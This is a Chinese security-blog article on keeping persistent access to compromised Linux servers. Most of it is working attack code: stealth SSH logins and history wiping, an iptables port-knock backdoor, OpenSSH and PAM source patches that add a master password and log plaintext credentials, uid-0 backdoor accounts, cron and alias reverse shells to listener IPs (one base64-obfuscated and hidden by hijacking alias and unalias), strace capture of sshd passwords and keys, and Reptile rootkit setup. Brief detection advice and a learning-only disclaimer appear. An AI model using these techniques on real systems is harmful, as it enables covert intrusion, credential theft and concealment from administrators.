长亭百川云 - 文章详情

Linux权限维持

为赋新词强说愁

105

2024-07-18

入侵痕迹隐藏

SSH隐身登录

隐身登录系统,不会被last who w等指令检测到

ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host
 /bin/bash -if

隐藏历史操作命令

拿到shell以后,开始无痕模式,禁用命令历史记录功能。

set +o history

恢复

set -o history  
  
history

删除自己的历史命令

删除指定的历史记录,删除100行以后的操作命令

sed -i "100,$d" .bash_history

端口复用

通过SSLH在同一端口上共享SSH与HTTPS

Linux上在同一端口上共享SSH与HTTPS的工具:SSLH

安装SSLH
apt install sslh
 配置SSLH
 编辑 SSLH 配置文件:
 sudo vi /etc/default/sslh
 1、找到下列行:Run=no  将其修改为:Run=yes
 2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
  DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
  service sslh start

将ubuntu的22端口映射到本地80端口

# 创建端口复用链
iptables -t nat -N LETMEIN
# 创建端口复用规则,将流量转发至 22 端口
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
#开启开关,如果接收到一个含有 threathuntercoming 的 TCP 包,则将来源 IP 添加到加为 letmein 的列表中
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
 #关闭开关,如果接收到一个含有 threathunterleaving 的 TCP 包,则将来源 IP 从 letmein 的列表中移除
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it,如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

在攻击机上执行

echo threathuntercoming | socat - tcp:192.168.199.155:80
ssh -p 80 root@192.168.199.155 -T /bin/bash -i
echo threathunterleaving | socat - tcp:192.168.199.155:80

原理:替换本身操作系统的ssh协议支撑软件openssh,重新安装自定义的openssh,达到记录帐号密码,也可以采用万能密码连接的功能!

利用

1、环境准备:

yum -y install openssl openssl-devel pam-devel zlib zlib-devel
    yum -y install gcc gcc-c++ make
  yum -y install patch
                                 wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar -xzvf openssh-5.9p1.tar.gz
 tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff

2.编辑密码:

vim includes.h
177行
#define ILOG "/tmp/ilog"#ILOG是别人用ssh登录该主机记录的日志目录
#define OLOG "/tmp/olog"#OLOG是该主机用ssh登录其他主机记录的日志目录
 #define SECRETPW "whgojp"#万能密码
#endif /* INCLUDES_H */

3.安装编译:

./configure --prefix=/usr  --sysconfdir=/etc/ssh  --with-pam  --with-kerberos5  && make && make install
service sshd restart   #重启sshd服务
systemctl status sshd.service #查看ssh启动状态

修改sshd程序和配置文件的时间,避免被管理员发现sshd程序发生了修改

touch -r ssh_config.bank ssh_config
touch -r sshd_config.bank sshd_config
touch -r /usr/sbin/sshd.bank /usr/sbin/sshd

以及修改后的ssh版本

使用万能密码登录成功,并且未留下登录记录,同时在/tmp/ilog 记录了别人用ssh登录该主机记录的日志目录(明文密码)

OpenSSH后门的防范方法

OpenSSH后门的防范方法如下。

· 重装OpenSSH软件,更新至最新版本。

· 将SSH默认登录端口22更改为其他端口。

· 在IPTable中添加SSH访问策略。

· 查看命令历史记录,对可疑文件进行清理。在有条件的情况下,可重做系统。

· 修改服务器所有用户的密码为新的强健密码。

· 使用strace命令找出SSH后门。运行“ps aux | grep sshd”命令获取可疑进程的PID,运行“strace -o aa -ff -p PID”命令进行跟踪,成功登录SSH后,在当前目录下就生成了strace命令的输出。使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看记录文件。在上面的命令中,过滤错误信息、/dev/null信息和拒绝(denied)信息,找出打开了读写模式(WR)的文件(因为要把记录的密码写入文件)。可以找到以读写方式记录在文件中的SSH后门密码文件的位置,并通过该方法判断是否存在SSH后门。当然,也有不记录密码,而仅仅留下一个万能SSH后门的情况。

拓展玩法:

1、可以采用万能密码登录

2、实现监控服务器登录登出的账号密码(发到外网)

SSH协议更改验证-PAM启用替换

原理:PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(于/lib/security)进行安全认证.简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持

1、获取目标系统所使用的PAM版本,下载对应版本的pam版本

2、解压缩,修改pam_unix_auth.c文件,添加万能密码

3、编译安装PAM

4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即使用万能密码登陆,将用户名密码记录到文件中。

配置环境

关闭 selinux

setenforce 0

查询版本 rpm -qa | grep pam

安装PAM

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8
yum install gcc flex flex-devel -y
修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("qing!@#123",p)==0){return PAM_SUCCESS;}    //后门密码
    if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
           fprintf(fp, "%s : %s\n", name, p);
fclose(fp);}
 name = p = NULL;
AUTH_RETURN;

-编译安装:

./configure && make

备份复制

备份原有pam_unix.so,防止出现错误登录不上

复制新PAM模块到/lib64/security/目录下

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd Linux-PAM-1.1.8/modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so

配合软链接

在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录。

SSH配置中开启了PAM进行身份验证

查看是否使用PAM进行身份验证:

cat /etc/ssh/sshd_config|grep UsePAM
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
ssh root@xx.xx.xx.xx -p 8888 任意密码登录即可

SSH协议登录方式-写入公钥

开启密钥对支持

vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

本地生成密钥

ssh-keygen -t rsa #三次回车
id_rsa : 私钥
id_rsa.pub : 公钥

复制公钥到服务器

cd /root/.ssh/
vim authorized_keys(id_rsa.pub)
chmod 600 authorized_keys

远程登录

ssh -i id_rsa root@xx.xx.xx.xx

后门帐号

添加账号test1,设置uid为0,密码为123456

useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root  -s /bin/bash -d /home/test1

增加超级用户账号

echo "admin:x:0:0::/:/bin/sh" >> /etc/passwd

修改超级用户密码

passwd admin

定时任务

crontab计时反弹shell也是一种权限维持方式

1、先写个反弹shell文件,shell.sh

bash -i >& /dev/tcp/192.168.199.175/4000  0>&1
bash -c "bash -i >& /dev/tcp/192.168.199.175/4000 0>&1"
#赋予执行权限
chmod +x /tmp/shell.sh

2、添加计划任务

vim /etc/crontab
#每一分钟执行一次
*/1 * * * * root /tmp/shell.sh

strace后门

strace常用来跟踪进程执行时的系统调用和所接收的信号。在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通 过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。

1、记录sshd明文

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

2、记录sshd私钥

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
grep 'PRIVATE KEY' /tmp/.sshd.log

alias后门

alias命令的功能:为命令设置别名

定义:alias ls='ls -al'

删除:unalias ls

每次输入ls命令的时候都能实现ls -al

1、简单

alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/121.40.132.129/4444 0>&1; };alerts'

这样目标执行ls命令后可以上线,不过ls命令会被阻塞在那里,很容易引起怀疑,当结束终端窗口时,反弹shell的会话也会随着被终结,而且更改后的alias命令只在当前窗口才有效(重启也会失效)

2 升级

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDcuOTcuNjQuMjI1IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

base64解码之后是如下代码

import os,socket,subprocess;
ret = os.fork()
if ret > 0:
    exit()
else:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("172.17.0.1", 6666))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        p = subprocess.call(["/bin/sh", "-i"])
    except Exception as e:
        exit()

故此种方法需要Python3环境

实现的效果是

劫持了 ls 命令,输入 ls 后可以执行我们的反弹 shell 的命令

ls 命令执行完全正常,用户无感知

劫持了 unalias 命令,使用户无法直接通过 unalias 来解除我们的 ls 别名

劫持了 alias 命令,使用户查看别名列表的时候发现 ls 一直是 ls=’ls –color=auto

3、持久化+隐藏:重启依旧生效

vim /etc/upload
vim ~/.bashrc
if [ -f /etc/upload ]; then
. /etc/upload
fi

Rootkit

Rookit是什么

在悬念迭起的中外谍战片里,对战双方中的一派势力通常会派遣特工人员潜伏到对手阵营中。这名卧底人员良好的伪装使得对手对此长时间毫无察觉;为了能够长期潜伏他不贸然采取高风险行为以免过早暴露自己;他赢得敌人的信任并因此身居要职,这使得他能够源源不断地获取重要情报并利用其独特渠道传送回去。

从某种意义上说这位不速之客就是Rootkit——持久并毫无察觉地驻留在目标计算机中,对系统进行操纵、并通过隐秘渠道收集数据的程序。Rootkit的三要素就是:隐藏、操纵、收集数据。

“Rootkit”中root术语来自于unix领域。由于unix主机系统管理员账号为root账号,该账号拥有最小的安全限制,完全控制主机并拥有了管理员权限被称为“root”了这台电脑。然而能够“root”一台主机并不意味着能持续地控制它,因为管理员完全可能发现了主机遭受入侵并采取清理措施。因此Rootkit的初始含义就在于“能维持root权限的一套工具”。

简单地说,Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。

一个典型rootkit包括:

1 以太网嗅探器程序,用于获得网络上传输的用户名和密码等信息。

2 特洛伊木马程序,例如:inetd或者login,为攻击者提供后门。

3 隐藏攻击者的目录和进程的程序,例如:ps、netstat、rshd和ls等。

4 可能还包括一些日志清理工具,例如:zap、zap2或者z2,攻击者使用这些清理工具删除wtmp、utmp和lastlog等日志文件中有关自己行踪的条目。

一些复杂的rootkit还可以向攻击者提供telnet、shell和finger等服务。

应用级rootkit

应用级rookit的主要特点是通过批量替换系统命令来实现隐藏,如替换ls、ps和netstat等命令来隐藏文件、进程和网络连接等,有时会有守护进程来保证后门的稳定性。推荐两款常用的木马:mafix和brookit。

应用级的比较容易清掉,最麻烦的是内核级和硬件级的

内核级rookit

通过加载内核模块的方式来加载后门,比较复杂。一般内核后门都是针对操作系统而言的,不同的操作系统内核模块设置编写方法都不一样,一般不通用。内核后门一般无法通过md5校验等来判断,所有基本比较难发现,目前针对内核后门比较多的是Linux和Solaris

硬件级后门

这个就是厂商的板子里面就有后门,比如cpu处理器,主板,鼠标,等等

网上公开的Rootkit比较少,这里介绍两个

https://github.com/f0rb1dd3n/Reptile/releases/
https://github.com/RuoJi6/HackerPermKeeper
HackerPermKeeper 使用可参考:https://www.bilibili.com/video/BV1fV411N7Qc

自动化脚本搭建

CentOS

$kernel=`uname -r`
yum -y install perl vim gcc make g++ unzip
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x ./setup.sh
./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
IP
Port
1
EOF

ubuntu

apt-get install vim gcc make g++ unzip -y
  apt-get -y install linux-headers-$(uname -r)
  cd Reptile-2.0/ && chmod +x ./setup.sh
  ./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
IP
Port
1
EOF

安装成功后,不显示文件夹,但是实际上是存在的

使用参考:

https://github.com/f0rb1dd3n/Reptile/wiki

进程隐藏

隐藏进程: /reptile/reptile_cmd hide

显示进程: /reptile/reptile_cmd show

实验

nohup ping 114.114.114.114 &
ps -ef | grep ping | grep -v grep
/reptile/reptile_cmd hide 4774
ps -ef | grep ping | grep -v grep

隐藏后门连接

隐藏连接: /reptile/reptile_cmd udp hide

显示连接: /reptile/reptile_cmd tcp show

实验

netstat -anpt | grep 100.100.45.106
/reptile/reptile_cmd tcp 100.100.45.106 443 hide

隐藏文件

文件名中带reptile的都会被隐藏

mkdir reptile_whgojp
mkdir reptile_file
ls -l
cd reptile_xx

关于Rootkit的检测

linux平台下:chkrootkit、rkhunter、OSSEC、zeppoo等

Windows平台下:BlackLight、RootkitRevealer、Rootkit Hook Analyzer

参考连接:

https://blog.csdn.net/weixin\_53009585/article/details/130173061

https://xz.aliyun.com/t/7338

https://xz.aliyun.com/t/12539

https://blog.csdn.net/weixin\_53009585/article/details/130180577


文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2